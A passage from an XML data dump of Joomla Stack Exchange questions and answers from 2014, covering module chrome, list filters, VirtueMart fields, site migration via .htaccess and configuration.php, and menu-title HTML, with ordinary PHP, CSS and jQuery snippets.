echo $params-&amp;gt;get('moduleclass_sfx'); ?&amp;gt;&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;megabox&quot;&amp;gt;&#xA;                &amp;lt;div class=&quot;megaboxouter&quot;&amp;gt;&#xA;                    &amp;lt;div class=&quot;megaboxinner&quot;&amp;gt;&#xA;                        &amp;lt;?php if ($module-&amp;gt;showtitle != 0) : ?&amp;gt;&#xA;                            &amp;lt;h6&amp;gt;&amp;lt;?php echo $module-&amp;gt;title; ?&amp;gt;&amp;lt;/h6&amp;gt;&#xA;                        &amp;lt;?php endif; ?&amp;gt;&#xA;                    &amp;lt;?php echo $module-&amp;gt;content; ?&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;?php&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1577" LastEditorUserId="1577" LastEditDate="2014-10-09T09:40:24.003" LastActivityDate="2014-10-09T09:40:24.003" Title="How custom module chrome works?" Tags="|module|fix-my-code|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4714" PostTypeId="1" CreationDate="2014-10-08T20:56:09.697" Score="-3" ViewCount="86" Body="&lt;p&gt;i'm a beginner at joomla and i got a question.&#xA;I want to make my website's home page empty with only 3 big buttons, those buttons would lead to different categories of the website, how could i do that? tried searching for Modules for it, but no luck.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your help&lt;/p&gt;&#xA;" OwnerUserId="2004" LastActivityDate="2014-10-08T22:17:11.420" Title="Creating a different kind of frontpage" Tags="|joomla-3.x|development|module|extensions|menu|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4715" PostTypeId="2" ParentId="4676" CreationDate="2014-10-08T21:23:01.813" Score="3" Body="&lt;p&gt;I found two methods of solving this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;.1) Set a date backwards, relative to the current date. (I'm using 60 because I need articles from 2months back)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        $model-&amp;gt;setState('filter.date_filtering', 'relative');&#xA;        $model-&amp;gt;setState('filter.relative_date', $params-&amp;gt;get('relative_date', 60)); &#xA;&#xA;        $items = $model-&amp;gt;getItems();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;2) Set any preferred date range&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    $model-&amp;gt;setState('filter.date_filtering', 'range');&#xA;    $start_date = strtotime('-2 months');&#xA;    $start_date = date(&quot;Y-m-d h:i:s&quot;, $start_date);&#xA;    $end_date = strtotime('now');&#xA;    $end_date = date(&quot;Y-m-d h:i:s&quot;, $end_date);        &#xA;    $model-&amp;gt;setState('filter.start_date_range', $start_date);&#xA;    $model-&amp;gt;setState('filter.end_date_range', $end_date);&#xA;&#xA;    $items = $model-&amp;gt;getItems();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1988" LastActivityDate="2014-10-08T21:23:01.813" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4716" PostTypeId="2" ParentId="4714" CreationDate="2014-10-08T22:17:11.420" Score="6" Body="&lt;p&gt;This can be done with most templates. There's usually setting that lets you turn OFF the component function, hiding the main body. At that point it's just a page filled with modules. But even if you don't turn that off, you can turn off every module including the menu for the front page menu item and you'll end up with just a blank article. Stick 3 buttons inside that article and you're all set.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think part of the problem here may be that you need to study and play with Joomla more before assuming things about it. You can't just install a &quot;make my front page 3 buttons&quot; module and be done, you've got plan out the page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a quick glance at how Joomla works:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://docs.joomla.org/Module_Position&quot;&gt;http://docs.joomla.org/Module_Position&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where it says component is the &quot;body&quot; where articles or installed components generate their output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So either you can shut off the component for the front and just publish a single module with 3 buttons in it, or you turn off all the modules and publish just an article.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The last option is to stick an index.html file on your server in the root level of your public html folder and stick your buttons on that. Most servers will grab that html file FIRST and not show joomla at all until you visit a link you know is in the joomla structure (or link to it from a button).&lt;/p&gt;&#xA;" OwnerUserId="25" LastActivityDate="2014-10-08T22:17:11.420" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4717" PostTypeId="1" AcceptedAnswerId="4718" CreationDate="2014-10-08T22:51:00.773" Score="2" ViewCount="171" Body="&lt;p&gt;would like to ask if anyone know how to recalculate the position of the dropdown of the user menu for this module. &#xA;The modules works in the way that it opens up a user panel in dropdown when clicked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On our website we positioned this at the bottom right, so that the login is less visible for guests. But this also works a little stupid since the dropdown drops further than the footer, making the background color visible for the increased height.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The element auto calculates the top depending on the how big the page is, so it is always positioned below the &quot;Hey, username&quot; link. Would like to get this to be calculated to be above the &quot;Hey, username&quot; link instead of below.&#xA;It will of course look a little weird having a dropdown coming from above the link instead of below, but I think it will work better.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Screenshot of what I would like to achieve:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2hZw5.png&quot; alt=&quot;Screenshot of what I would like to achieve&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2005" LastActivityDate="2014-10-09T00:43:35.490" Title="Module: Plus User Panel" Tags="|joomla-3.x|module|module-display|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="4718" PostTypeId="2" ParentId="4717" CreationDate="2014-10-09T00:43:35.490" Score="3" Body="&lt;p&gt;Here's a couple of ideas. They will give different results, depending on what you prefer:&lt;/p&gt;&#xA;&lt;h3&gt;Option 1: Center the login box on the screen:&lt;/h3&gt;&#xA;&lt;p&gt;Try adding this to your CSS to center the box on the screen:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;#plusl-content-login {&#xA; position: fixed!important;&#xA; top: 50%!important;&#xA; left: 50%!important;&#xA; transform: translate(-50%, -50%);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/L0IVO.jpg&quot; alt=&quot;Option 1&quot; /&gt;&lt;/p&gt;&#xA;&lt;h3&gt;Option 2:&lt;/h3&gt;&#xA;&lt;p&gt;(Only tested in Chrome developer tools)&#xA;You can try to add this jQuery code somewhere in the file &lt;code&gt;JOOMLAROOT/templates/j51_polaris/index.php&lt;/code&gt; (near the bottom right before &lt;code&gt;&amp;lt;/body&amp;gt;&lt;/code&gt; should work fine):&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script&amp;gt;&#xA;  jQuery(document).ready(function() {&#xA;     var logintop = jQuery( &amp;quot;.plusl-content-block&amp;quot; ).css( &amp;quot;top&amp;quot; );&#xA;     jQuery(&amp;quot;.plusl-content-block&amp;quot;).css( &amp;quot;top&amp;quot;,parseInt(logintop, 10) - 350 + &amp;quot;px&amp;quot; );&#xA;  });&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This will basically move the login box 350px (the default height) upwards of its original position.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ORBwO.jpg&quot; alt=&quot;Option 2&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="1629" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2014-10-09T00:43:35.490" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4719" PostTypeId="2" ParentId="4712" CreationDate="2014-10-09T02:02:07.863" Score="5" Body="&lt;p&gt;So, &lt;code&gt;modules.php&lt;/code&gt; is the way templates get to define (override?) chrome styles if you like. You've probably read about them &lt;a href=&quot;http://docs.joomla.org/Understanding_Output_Overrides#Module_Chrome&quot; rel=&quot;noreferrer&quot;&gt;in the Understanding Overrides article on Joomla Doc's&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Without any code, I'm guessing you're probably experiencing a bug in your PHP, the only way for you to check that will be to turn on Joomla's Debug mode and set it's Error Reporting to something like &quot;Developer&quot;. The reason it's only breaking on some pages is probably because those pages have modules that use specific chrome styles defined in your &lt;code&gt;template/protostar/html/modules.php&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you add your &lt;code&gt;modules.php&lt;/code&gt; code to the question we can probably help. Given that you say your chrome is working but other pages break, it may be a simple issue that's breaking the PHP interpreter as it processes other styles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you disable that file (by renaming etc) the bug is avoided and the default system chrome probably takes over.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In a stock, out of the box Joomla 3.x installation you'll find &lt;code&gt;modules.php&lt;/code&gt; files in 6 locations. These are split between the /administrator and the front-end:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;code&gt;/administrator/templates/system/html/modules.php&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;/administrator/templates/isis/html/modules.php&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;/administrator/templates/hathor/html/modules.php&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;/templates/system/html/modules.php&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;/templates/beez3/html/modules.php&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;/templates/protostar/html/modules.php&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If you look at &lt;strong&gt;#1&lt;/strong&gt; and &lt;strong&gt;#4&lt;/strong&gt; you'll see they are in &lt;code&gt;templates/system/html&lt;/code&gt; and contain the default chrome. For the front-end, these are &lt;code&gt;html5&lt;/code&gt;, &lt;code&gt;table&lt;/code&gt;, &lt;code&gt;horz&lt;/code&gt;, &lt;code&gt;xhtml&lt;/code&gt;, &lt;code&gt;rounded&lt;/code&gt; and &lt;code&gt;outline&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When Joomla! tries to render a page, and processes a module position in a template, it calls the &lt;code&gt;renderModule($module, $attribs)&lt;/code&gt; method in the &lt;code&gt;JModuleHelper&lt;/code&gt; class. e.g like this module position in Protostar:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;aside&quot; class=&quot;span3&quot;&amp;gt;&#xA;    &amp;lt;!-- Begin Right Sidebar --&amp;gt;&#xA;    &amp;lt;jdoc:include type=&quot;modules&quot; name=&quot;position-7&quot; style=&quot;well&quot; /&amp;gt;&#xA;    &amp;lt;!-- End Right Sidebar --&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That method takes the &lt;code&gt;style&lt;/code&gt; attribute of the &lt;code&gt;jdoc&lt;/code&gt; token and uses that to build the name of the &lt;code&gt;modChrome_????&lt;/code&gt; method/function that is responsible for the specified style. Using this bit of code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$chromeMethod = 'modChrome_' . $style;&#xA;&#xA;// Apply chrome and render module&#xA;if (function_exists($chromeMethod))&#xA;{&#xA;    $module-&amp;gt;style = $attribs['style'];&#xA;&#xA;    ob_start();&#xA;    $chromeMethod($module, $params, $attribs);&#xA;    $module-&amp;gt;content = ob_get_contents();&#xA;    ob_end_clean();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see if the function exists in the &lt;code&gt;modules.php&lt;/code&gt; file of the current template it will then call that method and capture it's output before returning it to the main rendering process.&lt;/p&gt;&#xA;" OwnerUserId="107" LastActivityDate="2014-10-09T02:02:07.863" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="4720" PostTypeId="2" ParentId="4700" CreationDate="2014-10-09T04:20:10.330" Score="2" Body="&lt;p&gt;I would actually recommend using something like Youtube Gallery. You can fully customize the output (though not into pages):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.joomlaboat.com/youtube-gallery&quot; rel=&quot;nofollow&quot;&gt;http://www.joomlaboat.com/youtube-gallery&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's an example of the type of page you can make with it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://globalawakening.com/testimonies/video&quot; rel=&quot;nofollow&quot;&gt;http://globalawakening.com/testimonies/video&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any time there's an update to the channel, it gets loaded into the site automatically.&lt;/p&gt;&#xA;" OwnerUserId="25" LastEditorUserId="25" LastEditDate="2014-10-09T13:30:09.237" LastActivityDate="2014-10-09T13:30:09.237" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4721" PostTypeId="1" AcceptedAnswerId="4722" CreationDate="2014-10-09T08:50:36.067" Score="3" ViewCount="1438" Body="&lt;p&gt;We are developing a custom component in joomla 3.X.&#xA;We have a list view and added some custom filters on the top of the list.&#xA;Our problem is, that there will be too many results if no filter applied.&#xA;We are wondering how we could set a default value for the filter when the pages loads for the first time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We have tried it in the constructor of the model or in the populatestate method, but without success.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$app = JFactory::getAplication();&#xA; $from_date = $app -&amp;gt;getUserStateFromRequest();&#xA;&#xA; $date = date('Y-m-d H:i:s');&#xA;&#xA; if($from_date === null)&#xA; {&#xA;  $from_date = $date;&#xA; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Unfortunately it did not work and could not find a way of setting it.&#xA;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="417" LastActivityDate="2015-05-07T09:07:21.913" Title="Set default value for a custom filter" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4722" PostTypeId="2" ParentId="4721" CreationDate="2014-10-09T09:38:23.447" Score="2" Body="&lt;p&gt;Have a look at the JModelList::populateState() at the backend of any core component, such as com_banners.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use the getUserStateFromRequest method to set a default value. See 3rd parameter, &lt;code&gt;$default&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * Gets the value of a user state variable and sets it in the session&#xA; *&#xA; * This is the same as the method in JApplication except that this also can optionally&#xA; * force you back to the first page when a filter has changed&#xA; *&#xA; * @param   string   $key        The key of the user state variable.&#xA; * @param   string   $request    The name of the variable passed in a request.&#xA; * @param   string   $default    The default value for the variable if not found. Optional.&#xA; * @param   string   $type       Filter for the variable, for valid values see {@link JFilterInput::clean()}. Optional.&#xA; * @param   boolean  $resetPage  If true, the limitstart in request is set to zero&#xA; *&#xA; * @return  The request user state.&#xA; *&#xA; * @since   12.2&#xA; */&#xA;public function getUserStateFromRequest($key, $request, $default = null, $type = 'none', $resetPage = true)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Does this help?&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2014-10-09T09:38:23.447" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4723" PostTypeId="1" CreationDate="2014-10-09T10:58:37.083" Score="2" ViewCount="2018" Body="&lt;p&gt;I am using joomla 3.x with VirtueMart.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trying to add a custom field &quot;Country of Origin&quot; to a product.&#xA;It would be the best that I can make use of the country list provided by VirtueMart.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I accomplish that?&lt;/p&gt;&#xA;" OwnerUserId="1522" LastEditorUserId="1522" LastEditDate="2014-10-09T11:21:08.513" LastActivityDate="2014-11-26T08:14:55.227" Title="How to add a custom dropdown field for a product in VirtueMart?" Tags="|joomla-3.x|virtuemart|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4724" PostTypeId="2" ParentId="4723" CreationDate="2014-10-09T11:22:20.627" Score="3" Body="&lt;p&gt;Try this,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Components -&amp;gt; Virtuemart -&amp;gt; Products -&amp;gt; Custom Fields -&amp;gt; create new filed as new List option&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then select it in product details page custom fields section &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assume that you are using VM2.x&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope it helps..&lt;/p&gt;&#xA;" OwnerUserId="138" LastActivityDate="2014-10-09T11:22:20.627" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4726" PostTypeId="1" AcceptedAnswerId="5327" CreationDate="2014-10-09T17:50:21.950" Score="8" ViewCount="569" Body="&lt;p&gt;Joomla provide the ability to add an update server allowing users to install an extension update when release at the click of a button. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is of course great for free extensions, however for commercial extensions, one would run into a problem where someone could simply get the download URL from the update XML file and publish it, so this is a no go.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I did have in mind, was doing something along the same lines, but it would simply notify the user that there is an update and they would have to go to the developer website and manually download it, however I didn't use any subscription extensions, thus there are no special permissions to get access to these commercial extensions. Instead I used a component that simply allows the user to purchase the extension and that's it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question is, is there a built-in method that I'm unaware of that allows an update server for commercial extensions? I believe I remember this being discussed a long time ago, but not sure if anything was implemented into Joomla for it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or maybe instead, would it be an idea to prevent direct access to the XML if one types in the URL in their browser using a &lt;strong&gt;htaccess&lt;/strong&gt; file?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt;: I'm referring to a module, else I might have looked into something like Akeeba Live Update&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2014-10-09T17:56:00.137" LastActivityDate="2014-11-21T02:51:06.933" Title="Update server for commercial extensions" Tags="|one-click-updates|commercial|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4727" PostTypeId="1" AcceptedAnswerId="4728" CreationDate="2014-10-09T19:20:58.910" Score="3" ViewCount="103" Body="&lt;p&gt;I've been developing a site within a &quot;dev&quot; folder directly under my root and kept it offline so no one could stumble upon it accidentally. Now I am preparing to go public and am having some issues.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I downloaded my dev folder to my local site via ftp and then uploaded its contents to the root folder of my remote site. All of the files seem to be in place and the index page looks just fine but the links are still pointing back to the dev site (ie. when I click on the &quot;About Us&quot; link from mysite.com it takes me to mysite.com/dev/aboutus instead of mysite.com/aboutus).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there something I need to change in my Joomla! settings somewhere? I've combed through the Global Configuration and updated the location of both my log folder and temp folder, not sure what else I need to update though.&lt;/p&gt;&#xA;" OwnerUserId="1893" LastEditorUserId="159" LastEditDate="2014-11-24T21:53:35.640" LastActivityDate="2014-11-24T21:53:35.640" Title="Move site to different location on same server" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4728" PostTypeId="2" ParentId="4727" CreationDate="2014-10-09T19:59:21.417" Score="4" Body="&lt;p&gt;The first thing that comes to my mind is to check your &lt;code&gt;.htaccess&lt;/code&gt; file. Look for a line similar to this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteBase /dev&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It might be redirecting your links to the &lt;code&gt;/dev&lt;/code&gt; subfolder. This would usually give a 404 error, but if the folder exists, it'll load your development site. Change to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteBase /&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If that doesn't solve your problem, check the &lt;code&gt;configuration.php&lt;/code&gt; file for any references to your development site. Make sure &lt;code&gt;public $live_site&lt;/code&gt; is &lt;a href=&quot;http://anything-digital.com/sh404sef/faqs/what-is-$live_site-and-why-it-matters.html&quot; rel=&quot;nofollow&quot;&gt;empty or contains your live site URL&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would highly recommend using &lt;a href=&quot;https://www.akeebabackup.com/products/akeeba-backup.html&quot; rel=&quot;nofollow&quot;&gt;Akeeba Backup&lt;/a&gt; together with &lt;a href=&quot;https://www.akeebabackup.com/products/akeeba-kickstart.html&quot; rel=&quot;nofollow&quot;&gt;Akeeba Kickstart&lt;/a&gt; (both free) whenever you want to move or backup your Joomla sites. It will create a single file with your entire website AND database, and includes a convenient installation script to get everything correctly set up on your new location.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2014-10-09T19:59:21.417" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4731" PostTypeId="1" AcceptedAnswerId="4732" CreationDate="2014-10-10T08:48:35.390" Score="3" ViewCount="8196" Body="&lt;p&gt;I am  developing a &quot;Customer Dashboard&quot; component in Joomla 3.2.&lt;br&gt;&#xA;I need to include multiple models of different other components that I have built. I tried to include setModel as per views in controller, here is my businessservices controller&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class BusinessServicesControllerBusinessServices extends JControllerForm&#xA;{&#xA;        public function display($cachable = false, $urlparams = false)&#xA;        {&#xA;&#xA;            // set default view if not set&#xA;            $input = JFactory::getApplication()-&amp;gt;input;&#xA;            $input-&amp;gt;set('view', $input-&amp;gt;getCmd('view', 'BusinessServices'));&#xA;            $viewName       = $this-&amp;gt;input-&amp;gt;get('view');&#xA;            switch ($viewName)&#xA;            {&#xA;                case 'businessservices':&#xA;                    $viewLayout = $this-&amp;gt;input-&amp;gt;get('layout', 'default');&#xA;                    $view = $this-&amp;gt;getView($viewName, $format, '', array('base_path' =&amp;gt; $this-&amp;gt;basePath, 'layout' =&amp;gt; $viewLayout));&#xA;                    $view-&amp;gt;setModel($this-&amp;gt;getModel('businessservices'));&#xA;                    break;&#xA;                case 'trademark':&#xA;                    $viewLayout = $this-&amp;gt;input-&amp;gt;get('layout', 'default');&#xA;                    $view = $this-&amp;gt;getView($viewName, $format, '', array('base_path' =&amp;gt; $this-&amp;gt;basePath, 'layout' =&amp;gt; $viewLayout));&#xA;                    $view-&amp;gt;setModel($this-&amp;gt;getModel('trademark'));&#xA;                    break;&#xA;            }&#xA;            // call parent behavior&#xA;            parent::display($cachable);&#xA;        }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;also, I tried to include using:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; JLoader::import('joomla.application.component.model');&#xA;    JLoader::import( 'llp','components' . DS . 'com_llp_service' . DS . 'models' );&#xA;    JLoader::import( 'opc','components' . DS . 'com_opc_services' . DS . 'models' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and getting the model using getInstance method&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$actionsModel = JModel::getInstance('trademark', 'BusinessServicesModel'); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;it is giving some fatal error, that JModel::getInstance you can not use,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so I want know some proper way to doing this task, including all features to the customer dashboard.&lt;/p&gt;&#xA;" OwnerUserId="2008" LastEditorUserId="126" LastEditDate="2016-01-22T00:34:08.283" LastActivityDate="2016-01-22T00:34:08.283" Title="Including multiple models to view or controller from different controllers" Tags="|joomla-3.x|component|development|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4732" PostTypeId="2" ParentId="4731" CreationDate="2014-10-10T09:03:23.663" Score="5" Body="&lt;p&gt;Try JModelLegacy:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$actionsModel = JModelLegacy::getInstance('trademark', 'BusinessServicesModel'); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Maybe you have to include the model file if it is not found:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;require_once JPATH_ADMINISTRATOR . '/components/com_llp_service/models/trademark.php';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Please note: The DS constant is not available in newer Joomla versions. &lt;/p&gt;&#xA;" OwnerUserId="154" LastActivityDate="2014-10-10T09:03:23.663" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4733" PostTypeId="2" ParentId="4551" CreationDate="2014-10-10T13:47:18.250" Score="1" Body="&lt;p&gt;You might want to try BreadCrumbs Advanced:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://extensions.joomla.org/extension/breadcrumbs-advanced&quot; rel=&quot;nofollow&quot;&gt;http://extensions.joomla.org/extension/breadcrumbs-advanced&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We used a similar extension called Breadcrumbs Manager, but it appears to have been removed from the JED, but I suspect this would work the same way.&lt;/p&gt;&#xA;" OwnerUserId="25" LastEditorUserId="25" LastEditDate="2015-10-15T12:27:08.063" LastActivityDate="2015-10-15T12:27:08.063" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4734" PostTypeId="1" AcceptedAnswerId="4736" CreationDate="2014-10-10T21:02:20.610" Score="7" ViewCount="3690" Body="&lt;p&gt;This is my need, I want to add an html tag to the menu title. I want to add some icons in front of each menu title in the frontend.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want this result:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;li class=&quot;active&quot;&amp;gt;&#xA; &amp;lt;a href=&quot;index.html&quot;&amp;gt;&#xA;  &amp;lt;i class=&quot;fa fa-dashboard&quot;&amp;gt;&amp;lt;/i&amp;gt;&#xA;  Dashboard&#xA; &amp;lt;/a&amp;gt;&#xA;&amp;lt;/li&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I try to add the &lt;code&gt;&amp;lt;i class=&quot;fa fa-dashboard&quot;&amp;gt;&amp;lt;/i&amp;gt;&lt;/code&gt; in the menu title field Joomla's filter removes it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to store that and display in the menu module?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="2013" LastEditorUserId="25" LastEditDate="2014-10-12T19:23:26.763" LastActivityDate="2014-10-13T11:41:05.940" Title="Add html in menu title field" Tags="|joomla-3.x|menu-item|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4735" PostTypeId="2" ParentId="4734" CreationDate="2014-10-10T21:07:42.093" Score="4" Body="&lt;p&gt;No, you don't need to add HTML to a menu item. Sometimes when Joomla removes stuff for you is because you should not do it like that (even if it was much simpler).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you need is a template override for mod_menu. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Read more on template overrides in the documentation: &lt;a href=&quot;http://docs.joomla.org/How_to_override_the_output_from_the_Joomla!_core&quot; rel=&quot;nofollow&quot;&gt;How to override the output from the Joomla! core.&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2014-10-10T21:07:42.093" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4736" PostTypeId="2" ParentId="4734" CreationDate="2014-10-11T00:43:17.413" Score="3" Body="&lt;p&gt;As @Valentin pointed out, a menu override is the correct way to solve this. However, if you're not familiar with Joomla overrides and PHP, a quick alternative is to use &lt;a href=&quot;http://extensions.joomla.org/extensions/core-enhancements/coding-a-scripts-integration/code-snippets/9013&quot; rel=&quot;nofollow noreferrer&quot;&gt;RokCandy&lt;/a&gt; (or any other &lt;a href=&quot;http://extensions.joomla.org/extensions/core-enhancements/coding-a-scripts-integration/code-snippets&quot; rel=&quot;nofollow noreferrer&quot;&gt;snippet extension&lt;/a&gt;). Basically, these plugins will replace your non-HTML code with HTML code, thus avoiding the Joomla filters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To achieve what you're trying to do using RokCandy, create a new macro:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Macro&lt;/strong&gt;  